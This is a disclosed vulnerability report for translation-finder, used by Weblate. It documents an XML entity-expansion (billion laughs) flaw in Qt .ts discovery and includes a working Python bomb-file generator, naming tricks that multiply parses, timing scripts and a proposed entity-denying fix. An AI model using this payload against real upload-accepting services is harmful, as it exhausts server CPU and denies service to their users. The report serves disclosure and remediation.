HexBrain

Weblate · Report #4094236

Billion laughs entity expansion in Qt .ts discovery: a crafted ~950 KB file forces ~55 MB of XML expansion per parse, cost scales with crafted file c

Validstatus
mediumseverity
29upvotes
7 Nov 2026disclosed

How it was found

Weakness

CWE-776 (Improper Restriction of Recursive Entity References in DTDs / XML bomb), CWE-400 (Uncontrolled Resource Consumption)

Suggested severity

Medium. CVSS:3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H (6.5), same reasoning as my other two translation-finder reports: the trigger needs repository write access, the impact is availability only, but the cost per upload is extreme.

Affected component

WeblateOrg/translation-finder File: translation_finder/discovery/files.py, function _get_qt_ts_version() (line 80 on master 671d213, line 78 in released 3.6.1), called from QtDiscovery.adjust_format() (line 629 on master, 627 in 3.6.1) Tested at master commit 671d213 (2026-10-07) and against released 3.6.1 installed from PyPI. I extracted the function from both trees and diffed them: byte identical. So every released version carrying the Qt backend should be affected, not just these two points.

Affected versions

  • translation-finder 3.6.1 (current PyPI latest) and current master @ 671d213. Unfixed in both.
  • The maintainer's recent hardening commit d69b673 ("fix(discovery): bound multi-file format sniffing") shipped inside released 3.6.1 (it is a git ancestor of the release commit c5ac867, verified with git merge-base --is-ancestor), but its budgets cap bytes and files per result. They do not cap the number of results, which is exactly the axis this bug scales on.
  • 97e7e02 (the wildcard matching fix from my report #4093379) touches finder.py and base.py, not this function.
  • No public GitHub issue, GHSA or CVE covers entity expansion in .ts parsing as of 2026-10-07.

Summary

I found an XML entity expansion (billion laughs) weakness in the Qt translation discovery backend.

_get_qt_ts_version() parses attacker supplied .ts content with xml.parsers.expat using default entity processing. The function registers a StartElementHandler whose whole job is to grab the version attribute of the root <TS> element and abort (it raises a custom _QtRootFoundError to stop parsing). That guard cannot help here: expat expands internal entities while it normalizes attribute values, before the start element handler is ever called. So by the time the abort fires, the expansion work is already paid.

There is no EntityDeclHandler registered and no DTD hardening anywhere in the codebase (I grepped both trees for EntityDeclHandler and SetParamEntityParsing, zero hits). An attacker can declare any internal entity chain in the DOCTYPE and reference it from the version attribute.

expat does have a built in billion laughs protection, but it bounds the amplification ratio (roughly 100x), not the absolute work. That interacts badly with the library's own FORMAT_SNIFF_MAX_BYTES = 1 MiB sniff cap:

  • A tiny bomb fails: a 599 byte file asking for 100 MB of expansion is stopped by the ratio cap in 0.051 s (measured).
  • A fat bomb works: a file padded to 957,496 bytes (just under the 1 MiB sniff cap) whose version attribute holds 55 references to an entity chain that expands to 1 M chars stays inside the ratio budget (~57x) and forces ~55 MB of expansion in one parse. Measured 0.866 s per parse against 0.006 s for a benign .ts of the same size. That is ~145x the cost of doing the same sniff on a normal file.

The scaling axis: QtDiscovery.adjust_format() runs once per discovery result. Naming the files a0-cs.ts, a1-cs.ts, ... makes the discovery logic emit one distinct wildcard mask (a0-*.ts, a1-*.ts, ...) per file, so each crafted file becomes its own result and gets parsed once. The d69b673 budgets are per result, nothing caps the result count, so N crafted files means N full parses in a single discover() call. I measured qt_parses == N exactly: N=50 gives 50 parses and 31.68 s of CPU on master.

The bomb also compresses extremely well: 957,496 bytes deflate down to 4,068 bytes (235x), so the upload cost is ~163 CPU-seconds per compressed MB. For comparison, the .tx/config vector in my report #4093838 is ~8 CPU-s per compressed MB. This is roughly 20x more upload efficient.

Details

What the code does today

def _get_qt_ts_version(content: str) -> str | None:
    """Return the version from a Qt TS root element."""
    version: str | None = None
    parser = expat.ParserCreate()

    def handle_start(name: str, attributes: dict[str, str]) -> None:
        nonlocal version
        if name == "TS":
            version = attributes.get("version")
        raise _QtRootFoundError

    parser.StartElementHandler = handle_start
    try:
        parser.Parse(content, False)
    except _QtRootFoundError:
        return version
    except expat.ExpatError:
        return None
    return None

(filed at translation_finder/discovery/files.py:80 on master, identical body in 3.6.1)

  • ParserCreate() with default settings accepts internal entity declarations from the DOCTYPE and expands them
  • only StartElementHandler is set, there is no EntityDeclHandler, no SetParamEntityParsing, no DTD filtering of any kind
  • QtDiscovery.adjust_format() (files.py:629) feeds up to FORMAT_SNIFF_MAX_BYTES (1 MiB) of each .ts candidate into this function, once per discovery result

Why the existing protections do not help

  1. expat's amplification cap (roughly 100x) bounds the ratio, not the work. The 1 MiB sniff cap effectively hands the attacker ~1 MB of file to play with, and a file just under the cap can still legally expand ~55 MB inside the ratio budget. The cap sets the size of the bomb, it does not stop it.
  2. FORMAT_SNIFF_MAX_FILES = 10 (added by d69b673, shipped in 3.6.1) is a per-result budget for sniffing multiple candidate files of one result. Here each crafted file produces its own result with exactly one candidate file, so the budget is never touched, and nothing anywhere caps how many results a tree can produce.
  3. The early abort (raise _QtRootFoundError from handle_start) fires only after the <TS> start tag is fully processed, which is after its attribute values have been normalized, which is after every &e5; reference has been expanded. The guard runs after the bill arrives.

Steps to Reproduce

Everything below was run on Kali Linux, Python 3.13.9, expat 2.7.3 as shipped with the interpreter. Adjust paths as needed.

Step 1: environment

python3 -m venv venv && venv/bin/pip install translation-finder
# or: git checkout 671d213 and pip install -e .

Step 2: build the bomb file

The payload is a syntactically valid Qt .ts file. A 6 level entity chain (each level expands the previous one 10x, so e5 = 1,000,000 chars), referenced 55 times from the version attribute, padded with XML comments to just under the 1 MiB sniff cap:

pad = 950_000
lines = ['<?xml version="1.0" encoding="utf-8"?>']
made = 0
while made < pad - 700:
    chunk = "<!-- " + "P" * 118 + " -->\n"
    lines.append(chunk)
    made += len(chunk)
lines.append("<!DOCTYPE TS [")
lines.append('<!ENTITY e0 "AAAAAAAAAA">')            # 10 chars
for i in range(1, 6):
    ref = f"&e{i-1};" * 10                           # 100, 1k, 10k, 100k, 1M
    lines.append(f'<!ENTITY e{i} "{ref}">')
lines.append("]>")
lines.append('<TS version="' + "&e5;" * 55 + '">')   # 55 refs = 55 MB expansion
lines.append(
    "<context><name>x</name>"
    "<message><source>s</source><translation>t</translation></message>"
    "</context>"
)
lines.append("</TS>")
open("a0-cs.ts", "w").write("\n".join(lines))

This produces a 957,496 byte file. Two details matter:

  • The file must stay under 1 MiB or adjust_format() will not sniff it. The padding exists to buy enough "legitimate" size for the ~57x expansion ratio to stay under expat's ~100x amplification cap.
  • The name matters. a0-cs.ts makes the naming heuristic treat a0 as a prefix token and cs as the language code, so discovery generates the wildcard mask a0-*.ts for this file and yields one result. Any <prefix>-<lang>.ts shape works.

Step 3: put it in a repo and time one discovery

mkdir repo && mv a0-cs.ts repo/
time venv/bin/python -c "from translation_finder import discover; print(len(discover('repo')))"

Prints 1 and takes ~0.6 to 0.9 s of CPU depending on tree (0.866 s measured on 3.6.1). Now delete the DOCTYPE block from the same file (keep everything else, it is still a valid 950 KB .ts) and rerun: 0.006 s. That difference is the bug, nothing else in the file changed.

Step 4: show the linear scaling

Create 50 bombs named a0-cs.ts through a49-cs.ts in one repo, then count parses while timing:

import sys, time
sys.path.insert(0, "/path/to/translation_finder_tree")
import translation_finder.discovery.files as f
n = {"c": 0}
orig = f._get_qt_ts_version
def counting(content):
    n["c"] += 1
    return orig(content)
f._get_qt_ts_version = counting
from translation_finder import discover
t0 = time.perf_counter()
r = discover("repo")
print(len(r), n["c"], round(time.perf_counter() - t0, 2))

Output on master 671d213 with 50 bombs: 50 50 31.7. The parse count equals the file count exactly, at every N I tested (1, 10, 25, 50).

Step 5: scripted way

The attached PoCs do all of the above, build their trees in temp dirs and cap child memory with RLIMIT_AS 2 GiB:

# single file suite (benign, tiny bomb, fat bomb, k=70 ceiling, patched comparison, 10x multiplication)
python3 poc_tf_qt_ts_entity_bomb_361.py        # against PyPI 3.6.1
python3 poc_tf_qt_ts_entity_bomb.py            # against master

# scaling probe, parse counting included
python3 poc_tf_qt_ts_scaling_n.py /path/to/translation_finder 1 10 25 50

(adjust the sys.path line at the top of each script). This is exactly what I ran, raw output attached as run_361.txt and scaling_n.txt.

Measured results

Single file suite (PyPI 3.6.1, RLIMIT_AS 2 GiB)

testfile sizeexpansion askedtimepeak RSS
benign 950 KB .ts, no DOCTYPE956,969 B-0.006 s20.8 MiB
tiny bomb, e7 chain599 B100,000,000 chars0.051 s26.1 MiB
fat bomb, k=55957,496 B55,000,000 chars0.866 s127.9 MiB
fat bomb, k=70 (ceiling probe)957,556 B70,000,000 chars0.566 s84.3 MiB
fat bomb k=55 with deny-all EntityDeclHandler957,496 B55,000,000 chars0.006 s22.7 MiB
10 fat bombs in one repo957,496 B each-5.148 s129.4 MiB

The tiny bomb line is the control that shows expat's ratio cap works: a 599 byte file cannot ask for 100 MB of expansion, expat aborts almost immediately. The fat bomb stays under the ratio and pays full price. The patched line is the same bomb with a deny-all EntityDeclHandler installed before parsing, which is the fix I propose below.

Scaling (master @ 671d213)

N crafted .ts filesqt_parsesdiscover() timepeak RSS
110.605 s130.1 MiB
10105.154 s132.2 MiB
252516.13 s132.4 MiB
505031.68 s132.7 MiB

Same probe on PyPI 3.6.1, N=25: 25 parses, 15.88 s, 129.7 MiB. The per-file cost is ~0.65 CPU-s per MB of crafted .ts, identical rate on 3.6.1 and master. Peak RSS is flat across the whole table, CPU is the exhausted resource, not memory.

Upload amplification

957,496 B compresses to 4,068 B with deflate -9 (measured, zip_ratio_bomb.txt). 50 bombs are ~203 KB zipped for 31.68 s of CPU, so ~163 CPU-s per uploaded MB. My report #4093838 measured ~8 CPU-s per compressed MB for the .tx/config vector, this one is about 20x more efficient per uploaded byte.

Limitations I want to be honest about

  • End-to-end numbers are from single runs (n=1) on Kali, Python 3.13.9. The parse-primitive comparison was repeated a few times. Absolute seconds are machine dependent; the ratios (145x vs benign of the same size, exact N parses, flat RSS) are the meaningful part.
  • I tested the expat that ships with Python 3.13.9 (2.7.3). The code has no entity handler in any tree I checked and the function is byte identical between 3.6.1 and master, so the weakness class applies wherever expat's ratio cap lets a sub 1 MiB file expand tens of MB. Older expat builds may be more permissive, not less, but I did not test other versions.
  • The k=70 ceiling probe ran faster than k=55 (0.566 s vs 0.866 s, lower peak RSS). I did not dig into expat's internal accounting for that. k=55 is the measured sweet spot and all scaling numbers use it.
  • The Weblate-side call path is inferred from source (discover() on user controlled VCS content during component import/create). I did not reproduce the hang against a live Weblate instance.

Duplicate check

Before reporting I checked:

  • Security advisories on this repo: 0 ("There aren't any published security advisories")
  • OSV.dev for the PyPI package translation-finder: {}, no entries
  • Web/CVE/GHSA search: only Weblate platform advisories come up, none reference translation-finder. CVE-2026-62326 / GHSA-r52j-4vjp-q949 is about regex flags in Weblate core, unrelated.
  • The issue sweep I ran for my other two reports (all 27 issues on this repo via the GitHub API, open and closed) found no DoS or resource consumption reports, and nothing touching .ts/XML/entity parsing.
  • The maintainer's hardening commits d69b673 and 97e7e02 do not add any entity handling to _get_qt_ts_version(). Attached get_qt_ts_version_361.py and get_qt_ts_version_main.py are the function extracted from both trees, they diff empty.
  • This is a different bug class from my open reports #4093379 (quadratic fnmatch matching, algorithmic complexity) and #4093838 (.tx/config configparser cost, unbounded count). This one is XML entity expansion in the Qt backend: a single crafted file is enough, and the fix is parser hardening, not a count cap.

Suggested fix

Register an EntityDeclHandler in _get_qt_ts_version() that rejects every entity declaration. Real .ts files produced by Qt Linguist do not use DTD entities, so denying all of them cannot break legitimate discovery. The handler fires at declaration time, before any reference is expanded:

def _get_qt_ts_version(content: str) -> str | None:
    """Return the version from a Qt TS root element."""
    version: str | None = None
    parser = expat.ParserCreate()

    def handle_start(name: str, attributes: dict[str, str]) -> None:
        nonlocal version
        if name == "TS":
            version = attributes.get("version")
        raise _QtRootFoundError

    def deny_entity(entityName, is_parameter_entity, value, base, systemId,
                    publicId, notationName):
        raise expat.ExpatError("entities are not allowed in .ts discovery")

    parser.StartElementHandler = handle_start
    parser.EntityDeclHandler = deny_entity
    # rest unchanged

Measured reference fix on the same 957 KB bomb: 0.006 s and 22.7 MiB peak RSS, versus 0.866 s and 127.9 MiB unfixed.

Alternatives that also work:

  • Cheap pre-filter before parsing: skip .ts candidates whose sniffed content contains <!ENTITY at all
  • In the d69b673 style, give QtDiscovery.adjust_format() a shared per-discovery budget (total Qt parses per discover() call) so the result-count axis stays bounded as well. This is defense in depth, the handler alone already removes three orders of magnitude.

Attachments

  • poc_tf_qt_ts_entity_bomb.py and poc_tf_qt_ts_entity_bomb_361.py: single file suites (master and 3.6.1 variants), includes the patched comparison
  • poc_tf_qt_ts_scaling_n.py: scaling probe with parse counting
  • run_361.txt, scaling_n.txt: raw output quoted in the tables above
  • results_361.json, results_main_671d213.json: machine readable suite results
  • get_qt_ts_version_361.py, get_qt_ts_version_main.py: the function extracted from both trees, byte identical
  • zip_ratio_bomb.txt: upload amplification measurement (235x)
  • probe_expat_ceiling_results.txt, probe_expat_fat_results.txt: why tiny bombs are capped but fat bombs are not

Impact

  • discover() runs on user uploaded repos and archives in Weblate during component import/create. Any user who can upload a repo can trigger this.
  • 50 crafted files cost ~48 MB on disk but only ~203 KB in a zip, and burn ~32 CPU-seconds per discovery run. K is attacker chosen, no cap exists anywhere in the library, and discovery re-runs on every repository update, so the cost repeats for as long as the files stay in the repo.
  • ~163 CPU-seconds per compressed MB uploaded. A few concurrent requests with such uploads will stall web workers or exhaust the worker pool, since the parse runs CPU bound inside request handling.
  • Unlike the .tx/config vector (#4093838), this one does produce results (each bomb parses fine after paying the expansion), so downstream Weblate code also receives N junk discovery results on top of the CPU cost.
  • Availability impact only. Peak RSS stays at ~130 MiB under a 2 GiB child limit across the entire scaling table. I did not seek a memory impact. Symlinks and FIFOs are already handled safely (_open_regular_file uses O_NOFOLLOW).

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original